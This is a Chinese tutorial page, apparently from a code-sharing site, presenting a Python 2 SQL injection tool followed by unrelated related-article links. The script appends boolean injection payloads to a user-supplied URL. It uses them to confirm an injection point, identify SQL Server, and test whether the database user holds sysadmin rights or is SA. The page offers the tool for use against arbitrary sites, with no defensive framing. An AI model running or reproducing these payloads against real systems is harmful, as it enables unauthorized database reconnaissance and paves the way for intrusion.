Python编写检测数据库SA用户的方法
作者:shichen2014 时间:2024-01-16 07:11:57
本文讲述一个用Python写的小程序,用于有注入点的链接,以检测当前数据库用户是否为sa,详细代码如下:
# Code by zhaoxiaobu Email: little.bu@hotmail.com
#-*- coding: UTF-8 -*-
from sys import exit
from urllib import urlopen
from string import join,strip
from re import search
def is_sqlable():
sql1="%20and%201=2"
sql2="%20and%201=1"
urlfile1=urlopen(url+sql1)
urlfile2=urlopen(url+sql2)
htmlcodes1=urlfile1.read()
htmlcodes2=urlfile2.read()
if not search(judge,htmlcodes1) and search(judge,htmlcodes2):
print "[信息]恭喜!这个URL是有注入漏洞的!n"
print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."
is_SQLServer()
else:
print "[错误]你确定这个URL能用?换个别的试试吧!n"
def is_SQLServer():
sql = "%20and%20exists%20(select%20*%20from%20sysobjects)"
urlfile=urlopen(url+sql)
htmlcodes=urlfile.read()
if not search(judge,htmlcodes):
print "[错误]数据库好像不是SQL Server的!n"
else:
print "[信息]确认是SQL Server数据库!n"
print "[信息]开始检测当前数据库用户权限,请耐心等待......"
is_sysadmin()
def is_sysadmin():
sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))"
urlfile = urlopen(url+sql)
htmlcodes = urlfile.read()
if not search(judge,htmlcodes):
print "[错误]当前数据库用户不具有sysadmin权限!n"
else:
print "[信息]当前数据库用户具有sysadmin权限!n"
print "[信息]检测当前用户是不是SA,请耐心等待......"
is_sa()
def is_sa():
sql = "%20and%20'sa'=(select%20System_user)";
urlfile = urlopen(url+sql)
htmlcodes = urlfile.read()
if not search(judge,htmlcodes):
print "[错误]当前数据库用户不是SA!n"
else:
print "[信息]当前数据库用户是SA!n"
print "n########################################################################n"
print " ^o^SQL Server注入利用工具^o^ "
print " Email: little.bu@hotmail.comn"
print "========================================================================";
url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:')
if url == '':
print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"
exit(1)
judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:")
if judge == '':
print "[错误]判断字符串不能为空!"
exit(1)
is_sqlable()
标签:Python,检测,数据库,SA用户,方法
![](/images/zang.png)
![](/images/jiucuo.png)
猜你喜欢
python遍历序列enumerate函数浅析
2022-10-31 01:34:21
Python 使用tf-idf算法计算文档关键字权重并生成词云的方法
2022-03-28 13:09:18
![](https://img.aspxhome.com/file/2023/5/82965_0s.png)
javascript实现Table排序的方法
2024-04-19 10:16:19
一文搞懂python 中的迭代器和生成器
2022-02-11 15:47:14
Python数据结构之图的存储结构详解
2021-03-28 10:42:48
![](https://img.aspxhome.com/file/2023/3/78803_0s.jpg)
基于Python测试程序是否有错误
2021-05-09 22:45:35
![](https://img.aspxhome.com/file/2023/1/131591_0s.png)
Linux下安装Mysql多实例作为数据备份服务器实现多主到一从多实例的备份
2024-01-13 19:12:27
Python Datetime模块和Calendar模块用法实例分析
2022-08-05 10:23:46
asp分段插入数据库
2010-07-02 13:13:00
Scrapy 配置动态代理IP的实现
2023-12-10 19:06:22
使用Termux在手机上运行Python的详细过程
2021-10-26 10:23:52
![](https://img.aspxhome.com/file/2023/5/78505_0s.png)
Docker 安装 MySQL(8和5.7)
2024-01-26 06:49:48
Python画图高斯分布的示例
2023-02-07 09:09:14
简单的MySQL备份与还原方法分享
2024-01-24 22:51:13
python3 property装饰器实现原理与用法示例
2021-07-10 05:02:28
PHP单例模式Singleton Pattern的原理与实现介绍
2023-05-26 13:33:28
基于Python Pygame实现的画饼图游戏
2023-10-25 18:30:23
![](https://img.aspxhome.com/file/2023/4/95864_0s.gif)
平面设计人员必读
2008-07-16 11:58:00
Python控制键盘鼠标pynput的详细用法
2021-08-01 07:52:14
纯ASP结合VML生成完美图-饼图
2010-05-11 16:49:00